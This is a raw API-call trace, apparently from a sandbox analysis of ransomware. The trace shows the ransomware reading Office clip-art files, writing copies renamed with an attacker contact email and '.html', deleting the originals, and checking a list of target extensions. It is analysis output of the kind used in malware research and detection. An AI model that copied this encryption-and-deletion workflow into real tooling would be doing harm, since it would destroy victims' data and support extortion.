	[0195.593] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4330, lpOverlapped=0x0) returned 1
	[0195.596] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4340, lpOverlapped=0x0) returned 1
	[0195.597] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.597] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.597] SetEndOfFile (hFile=0x5e8) returned 1
	[0195.598] CloseHandle (hObject=0x5e8) returned 1
	[0195.598] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.598] SetEndOfFile (hFile=0x514) returned 1
	[0195.600] CloseHandle (hObject=0x514) returned 1
	[0195.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1
	[0195.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.603] lstrlenW (lpString=".doc") returned 4
	[0195.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.603] lstrlenW (lpString=".docx") returned 5
	[0195.603] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.603] lstrlenW (lpString=".pdf") returned 4
	[0195.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.603] lstrlenW (lpString=".xls") returned 4
	[0195.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.603] lstrlenW (lpString=".xlsx") returned 5
	[0195.603] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.603] lstrlenW (lpString=".ppt") returned 4
	[0195.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.604] lstrlenW (lpString=".zip") returned 4
	[0195.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.604] lstrlenW (lpString=".rar") returned 4
	[0195.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.604] lstrlenW (lpString=".bz2") returned 4
	[0195.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.604] lstrlenW (lpString=".7z") returned 3
	[0195.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.604] lstrlenW (lpString=".dbf") returned 4
	[0195.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.604] lstrlenW (lpString=".1cd") returned 4
	[0195.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.604] lstrlenW (lpString=".jpg") returned 4
	[0195.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.604] lstrlenW (lpString=".doc") returned 4
	[0195.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.604] lstrlenW (lpString=".docx") returned 5
	[0195.604] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.604] lstrlenW (lpString=".pdf") returned 4
	[0195.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.605] lstrlenW (lpString=".xls") returned 4
	[0195.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.605] lstrlenW (lpString=".xlsx") returned 5
	[0195.605] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.605] lstrlenW (lpString=".ppt") returned 4
	[0195.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.605] lstrlenW (lpString=".zip") returned 4
	[0195.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.605] lstrlenW (lpString=".rar") returned 4
	[0195.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.605] lstrlenW (lpString=".bz2") returned 4
	[0195.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.605] lstrlenW (lpString=".7z") returned 3
	[0195.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.605] lstrlenW (lpString=".dbf") returned 4
	[0195.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.605] lstrlenW (lpString=".1cd") returned 4
	[0195.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0195.605] lstrlenW (lpString=".jpg") returned 4
	[0195.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.606] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.606] lstrlenW (lpString="J0107154.WMF") returned 12
	[0195.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0195.607] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=22300) returned 1
	[0195.607] CloseHandle (hObject=0x514) returned 1
	[0195.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220
	[0195.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0195.608] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.608] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.609] GetLastError () returned 0x0
	[0195.609] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x571c, lpOverlapped=0x0) returned 1
	[0195.612] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x5720, lpOverlapped=0x0) returned 1
	[0195.614] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.614] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.614] SetEndOfFile (hFile=0x5e8) returned 1
	[0195.614] CloseHandle (hObject=0x5e8) returned 1
	[0195.614] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.614] SetEndOfFile (hFile=0x514) returned 1
	[0195.810] CloseHandle (hObject=0x514) returned 1
	[0195.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1
	[0196.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.776] lstrlenW (lpString=".doc") returned 4
	[0196.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.776] lstrlenW (lpString=".docx") returned 5
	[0196.776] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0196.776] lstrlenW (lpString=".pdf") returned 4
	[0196.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.776] lstrlenW (lpString=".xls") returned 4
	[0196.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.776] lstrlenW (lpString=".xlsx") returned 5
	[0196.776] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0196.776] lstrlenW (lpString=".ppt") returned 4
	[0196.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.776] lstrlenW (lpString=".zip") returned 4
	[0196.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.776] lstrlenW (lpString=".rar") returned 4
	[0196.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.776] lstrlenW (lpString=".bz2") returned 4
	[0196.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.776] lstrlenW (lpString=".7z") returned 3
	[0196.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.776] lstrlenW (lpString=".dbf") returned 4
	[0196.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.776] lstrlenW (lpString=".1cd") returned 4
	[0196.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.776] lstrlenW (lpString=".jpg") returned 4
	[0196.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.777] lstrlenW (lpString=".doc") returned 4
	[0196.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString=".docx") returned 5
	[0196.777] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0196.777] lstrlenW (lpString=".pdf") returned 4
	[0196.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString=".xls") returned 4
	[0196.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.777] lstrlenW (lpString=".xlsx") returned 5
	[0196.777] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0196.777] lstrlenW (lpString=".ppt") returned 4
	[0196.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.777] lstrlenW (lpString=".zip") returned 4
	[0196.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.777] lstrlenW (lpString=".rar") returned 4
	[0196.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString=".bz2") returned 4
	[0196.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString=".7z") returned 3
	[0196.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.777] lstrlenW (lpString=".dbf") returned 4
	[0196.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.777] lstrlenW (lpString=".1cd") returned 4
	[0196.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0196.777] lstrlenW (lpString=".jpg") returned 4
	[0196.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.778] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0196.778] lstrlenW (lpString="J0107280.WMF") returned 12
	[0196.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0196.778] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11108) returned 1
	[0196.778] CloseHandle (hObject=0x580) returned 1
	[0196.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220
	[0196.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0196.779] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.779] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0196.780] GetLastError () returned 0x0
	[0196.780] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x2b64, lpOverlapped=0x0) returned 1
	[0197.095] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2b70, lpOverlapped=0x0) returned 1
	[0197.096] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.096] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.096] SetEndOfFile (hFile=0x588) returned 1
	[0197.106] CloseHandle (hObject=0x588) returned 1
	[0197.116] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.116] SetEndOfFile (hFile=0x580) returned 1
	[0197.151] CloseHandle (hObject=0x580) returned 1
	[0197.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1
	[0197.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.153] lstrlenW (lpString=".doc") returned 4
	[0197.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.153] lstrlenW (lpString=".docx") returned 5
	[0197.153] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.153] lstrlenW (lpString=".pdf") returned 4
	[0197.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.153] lstrlenW (lpString=".xls") returned 4
	[0197.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.153] lstrlenW (lpString=".xlsx") returned 5
	[0197.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.154] lstrlenW (lpString=".ppt") returned 4
	[0197.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.154] lstrlenW (lpString=".zip") returned 4
	[0197.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.154] lstrlenW (lpString=".rar") returned 4
	[0197.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString=".bz2") returned 4
	[0197.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString=".7z") returned 3
	[0197.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.154] lstrlenW (lpString=".dbf") returned 4
	[0197.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.154] lstrlenW (lpString=".1cd") returned 4
	[0197.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.154] lstrlenW (lpString=".jpg") returned 4
	[0197.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.154] lstrlenW (lpString=".doc") returned 4
	[0197.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString=".docx") returned 5
	[0197.154] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.154] lstrlenW (lpString=".pdf") returned 4
	[0197.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.154] lstrlenW (lpString=".xls") returned 4
	[0197.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.154] lstrlenW (lpString=".xlsx") returned 5
	[0197.154] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.155] lstrlenW (lpString=".ppt") returned 4
	[0197.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.155] lstrlenW (lpString=".zip") returned 4
	[0197.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.155] lstrlenW (lpString=".rar") returned 4
	[0197.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.155] lstrlenW (lpString=".bz2") returned 4
	[0197.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.155] lstrlenW (lpString=".7z") returned 3
	[0197.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.155] lstrlenW (lpString=".dbf") returned 4
	[0197.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.155] lstrlenW (lpString=".1cd") returned 4
	[0197.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0197.155] lstrlenW (lpString=".jpg") returned 4
	[0197.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.155] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.155] lstrlenW (lpString="J0107290.WMF") returned 12
	[0197.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.157] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=12308) returned 1
	[0197.157] CloseHandle (hObject=0x580) returned 1
	[0197.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220
	[0197.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.157] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.157] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.158] GetLastError () returned 0x0
